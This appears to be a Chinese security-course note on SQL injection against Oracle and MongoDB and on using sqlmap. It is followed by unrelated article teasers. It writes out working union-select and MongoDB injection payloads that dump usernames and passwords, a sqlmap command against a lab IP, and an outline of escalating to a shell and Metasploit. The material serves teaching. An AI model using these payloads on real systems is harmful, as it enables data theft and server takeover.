小迪安全26WEB 攻防-通用漏洞SQL 注入 SqlmapOracleMongodbDB2 等

news2025/2/23 11:33:51

 

#知识点: 

1、数据库注入-Oracle&Mongodb 

2、数据库注入-DB2&SQLite&Sybase 

3、SQL 注入神器-SQLMAP 安装使用拓展

 

 

 

数据库注入:

数据库注入-联合猜解-Oracle&Mongodb 

  1.Oracle数据库一般会在java上执行

参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html 

 

猜回显位:用的是单引号,进行猜测,因为在数据库中加入单引号是一种字符类型的,通过SQL语句,判断之后的数据是否能正常的显示页面,从而进行判断注入点。

Dual:是一个虚表。只有一列,必须使用关键字语句才可以进行使用,通常是 查询时间等数据。

 

测回显:and 1=2 union select '1','2' from dual 

 

爆库:and 1=2 union select '1',(select table_name from user_tables 

where rownum=1) from dual 

 

模糊爆库:and 1=2 union select '1',(select table_name from 

user_tables where rownum=1 and table_name like '%user%') from 

dual 

 

爆列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users') from 

dual 

 

爆其他列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users' and 

column_name not in ('USER_NAME')) from dual 

 

爆数据:and 1=2 union select user_name,user_pwd from "sns_users" 

 

爆其他数据:and 1=2 union select user_name,user_pwd from 

"sns_users" where USER_NAME<>'hu' 

 

 2.Mongodb :一般在python中

 

题目源代码:

ee724fa98114410a94d0f02dcacba8a3.png

 db.getCollectionNames()返回的是数组,需要用 tojson 转换为字符串。 

db.Authority_confidential 是当前用的集合(表),find 函数用于查询,0 是第 

一条数据

 

测回显:/new_list.php?id=1'}); return ({title:1,content:'2 

 

爆库: /new_list.php?id=1'}); return 

({title:tojson(db),content:'1 

 

爆表: /new_list.php?id=1'}); return 

({title:tojson(db.getCollectionNames()),content:'1 

 

爆字段:/new_list.php?id=1'}); return 

({title:tojson(db.Authority_confidential.find()[0]),content:'1 

 

 

数据库注入-SQLMAP-数据猜解&高权限读写执行

1、判断数据库注入点 

2、判断注入点权限 

-sqlmap 数据库注入数据猜解 

-sqlmap 高权限注入读写执行 

-sqlmao 高权限注入联动 MSF

#SQLMAP 使用参数: 

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

            https://sqlmap.org/

注入技术:布尔盲注、时间盲注、错误注入、union注入、堆叠查询(SQL语句的基本操作)、带外(dnslog:利用其他的协议,将dns等信息带出来)

 

使用SQLmap的流程:

  判断注入点

  判断数据库类型(是否存在高级权限)

  判断是否为高级用户

 

指定网站进行注入

python sqlmap.py -u "http://124.70.71.251:40184/new_list.php?id=1"

e7f6f651814b4b3282f34edf43172d42.png

 判断为IBM数据库,并判断是否要测试其他数据库

aa50f24b1c7d4d39a40c3f4b7acf0c6b.png

 存在注入点

ee6b5607a1ce41d8bb076c615728b646.png

7c95403965254c6da1a6808ebde005a9.png 

 判断权限:--privileges #查看权限或 --is-dba #查看是否是数据库管理员

 

有了高级权限,也不一定代表能够完全的文件读写(如mysql中的文件读写,需要my.ini配置上的修改)

若不是高级权限,则老实的进行数据库猜测:

--dbs #查看其他数据库、

--current-db #当前数据库、

--tables #获取所有数据库中的表、

联合指定数据库查询表--tables -D ”指定数据库”、

联合指定数据库中的指定表的列--columns -T “指定表” -D ”指定数据库”、

联合指定数据库中的指定表的指定列中的属性值--dump -C “指定列” -T “指定表” -D ”指定数据库”

--purge #清理缓存

 

一些数据库的特性,无dbs

1a733e0590fb42e7b451a709d87e0f54.png

 -r #对当下文件下的数据包进行解析——特定访问:POST、限制数据头的数据包

对数据包要注入点加入*:表示为注入点

ac2d94f8bc3a4127a561545ed228f0ee.png

 

 

Msf:进行后期内网渗透和提权

主要的思路是:

通过sqlmap找到管理员账号和密码,从而登入后台,再利用后台进行os-shell的连接实现shell交互,此时通过shell交互便可获取到对方服务器的IP等敏感信息,同时,在自己的服务器中开启监听,利用高级权限读写文件,向对服务器写入payload(.exe)并运行,实现上线服务器,然后在监听过程中开启msf,从而提权

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1465928.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

有ai换脸证件照的工具吗?分享3款好用的工具!

在当今数字化时代&#xff0c;随着人工智能技术的飞速发展&#xff0c;AI换脸技术已经成为了一种热门的应用。从电影特效到日常生活中的照片处理&#xff0c;AI换脸技术都为我们带来了前所未有的便捷和乐趣。而在这其中&#xff0c;AI换脸证件照工具更是受到了广大用户的青睐。…

jetson nano——安装archiconda

目录 1.archiconda3我在这提供了下载链接&#xff0c;点解下面链接即可1.看好文件所在位置&#xff0c;如果装错了&#xff0c;那么环境变量的路径自己进行相应的修改。2.添加环境变量 2.可能部分伙伴输入一些激活&#xff0c;啥的命令激活不了&#xff0c;那么输入下面这些代码…

如何在nginx增加健康检查接口

在docker中部署的nginx或者在nginx部署的nginx一般是需要一个健康检查接口的 这样的话&#xff0c;就可以确定容器当前的状态是否是健康的 那么&#xff0c;如何给nginx增加一个健康检查的接口呢&#xff1f; 接下来呢&#xff0c;我们就演示一个在nginx中如何增加健康检查的…

瑞_23种设计模式_装饰者模式

文章目录 1 装饰者模式&#xff08;Decorator Pattern&#xff09;1.1 介绍1.2 概述1.3 装饰者模式的结构 2 案例一2.1 需求2.2 代码实现 3 案例二3.1 需求3.2 代码实现 4 JDK源码解析5 总结5.1 装饰者模式的优缺点5.2 装饰者模式的使用场景5.3 装饰者模式 VS 代理模式 &#x…

Druid无法登录监控页面

问题表现&#xff1a;在配置和依赖都正确的情况下&#xff0c;无法通过配置的用户名密码登录Druid的监控页面 检查配置发现 配置的用户名和密码和请求中参数是一致的&#x1f914; Debug发现 ResourceServlet 是Druid的登录实现&#xff0c; 且调试发现usernameParam是null&am…

Day17_集合与数据结构(链表,栈和队列,Map,Collections工具类,二叉树,哈希表)

文章目录 Day17 集合与数据结构学习目标1 数据结构2 动态数组2.1 动态数组的特点2.2 自定义动态数组2.3 ArrayList与Vector的区别&#xff1f;2.4 ArrayList部分源码分析1、JDK1.6构造器2、JDK1.7构造器3、JDK1.8构造器4、添加与扩容5、删除元素6、get/set元素7、查询元素8、迭…

【安卓基础5】中级控件

&#x1f3c6;作者简介&#xff1a;|康有为| &#xff0c;大四在读&#xff0c;目前在小米安卓实习&#xff0c;毕业入职 &#x1f3c6;本文收录于 安卓学习大全持续更新中&#xff0c;欢迎关注 &#x1f3c6;安卓学习资料推荐&#xff1a; 视频&#xff1a;b站搜动脑学院 视频…

二进制部署k8集群,搭建单机matser和etcd集群

单机matser预部署设计 组件部署&#xff1a; mater节点 mater01 192.168.66.10 kube-apiserver kube-controller-manager kube-scheduler etcd node节点 node01 192.168.66.30 kubelet kube-proxy docker &…

在 Windows 上使用 VC++ 编译 OpenSSL 源码的步骤

在 Windows 上使用 VC 编译 OpenSSL 源码的步骤如下&#xff1a; 准备工作 安装 Visual Studio 2017 或更高版本。安装 Perl 脚本解释器。安装 NASM 汇编器。 编译步骤 下载 OpenSSL 源码。解压 OpenSSL 源码。打开命令行工具&#xff0c;并进入 OpenSSL 源码目录。运行以下…

Linux常见指令(2)

目录 1、tar指令 &#xff01; 2、bc指令 3、uname 4、重要热键 5、关机 1、tar指令 &#xff01; 功能&#xff1a;压缩/解压缩文件或目录,类似zip 我们先来看一下我们的文件即目录&#xff0c;接下来我们输入指令&#xff1a; tar -czf test.tgz test 压缩 -c &#xf…

Linux调试器——gdb的基础使用

目录 1.背景 2.指令的使用 2.1gdb的使用和退出 2.2显示源代码 2.3运行程序 2.4调试 1.打断点 2.查断点 3.去断点 4.运行 5.关闭断点 6.启用断点 7.逐过程 8.进入函数 9.显示变量的值 1.背景 众所周知&#xff0c;我们的程序发布有两种&#xff0c;分别是debug模式和release模式…

【Azure 架构师学习笔记】- Azure Databricks (10) -- UC 使用

本文属于【Azure 架构师学习笔记】系列。 本文属于【Azure Databricks】系列。 接上文 【Azure 架构师学习笔记】- Azure Databricks (9) – UC权限 在前面的文章&#xff1a;【Azure 架构师学习笔记】- Azure Databricks (6) - 配置Unity Catalog中演示了如何配置一个UC。 本文…

深度剖析Selenium与Scrapy的黄金组合:实现动态网页爬虫

在当今互联网时代&#xff0c;大量网站采用动态网页技术呈现信息&#xff0c;这给爬虫技术提出了新的挑战。本文将带您深入探讨如何应对动态网页的爬取难题&#xff0c;结合Python爬虫框架Scrapy和自动化测试工具Selenium进行实战&#xff0c;为您揭示动态网页爬取的技术奥秘。…

阿里巴巴中国站获得淘口令真实url API(1688.item_password)

阿里巴巴&#xff08;1688.com&#xff09;是一个B2B电商平台&#xff0c;而淘口令&#xff08;或称为淘宝口令&#xff09;是一种在阿里巴巴集团旗下的淘宝和天猫平台中分享商品或活动链接的特殊形式。淘口令通常包含一串字符&#xff0c;用户可以复制这串字符并在淘宝或天猫的…

ffmpeg深度学习滤镜

环境搭建 安装显卡驱动 当前所用显卡为NVIDIA的P6000,在英伟达的官网上查看对应的驱动, 下载NVIDIA-Linux-x86_64-535.104.05.run并安装。 sudo ./NVIDIA-Linux-x86_64-535.104.05.run 安装成功后用nvidia-smi命令后查看 安装的cuda版本不能超过12.2,选择安装cuda11.8。…

高并发Server的基石:reactor反应堆模式

业务开发同学只关心业务处理流程。但是我们开发的程序都是运行服务端server上&#xff0c;服务端server接收到IO请求后&#xff0c;是如何处理请求并最终进入业务流程的呢&#xff1f;这里不得不提到reactor反应堆模型。nginx tomcat redis nodejs dubbo等软件的网络处理模型都…

《Linux C编程实战》笔记:信号量

信号量在操作系统的书里一般都有介绍&#xff0c;这里就只写书上说的了。 信号量是一个计数器&#xff0c;常用于处理进程或线程的同步问题&#xff0c;特别是对临界资源访问的同步。临界资源可以简单地理解为在某一时刻只能由一个进程或线程进行操作的资源&#xff0c;这里的…

【ArcGIS】利用高程进行坡度分析

在ArcGIS中利用高程进行坡度分析 坡度ArcGIS实操参考 坡度 坡度是地表单元陡缓的程度&#xff0c;通常把坡面的垂直高度和水平距离的比值称为坡度。 坡度的表示方法有百分比法、度数法、密位法和分数法四种&#xff0c;其中以百分比法和度数法较为常用。 &#xff08;1&#…

opencv-python保存视频为mp4格式并支持在浏览器播放

前言 之前在项目上使用yolov8进行视频检测的时候&#xff0c;yolov8默认windows系统下保存的是avi格式 suffix, fourcc (.mp4, avc1) if MACOS else (.avi, WMV2) if WINDOWS else (.avi, MJPG) self.vid_writer[idx] cv2.VideoWriter(str(Path(save_path).with_suffix(suf…

SpringBoot对于SpringMVC的支持

创建项目 版本说明这里使用的 SpringBoot 2.0.0.Release SpringBoot对于SpringMVC的支持 在之前的开发中很多场景下使用的是基于xml配置文件或者是Java配置类的方式来进行SpringMVC的配置。一般来讲&#xff0c;初始的步骤如下所示 1、初始化SpringMVC的DispatcherServlet2、…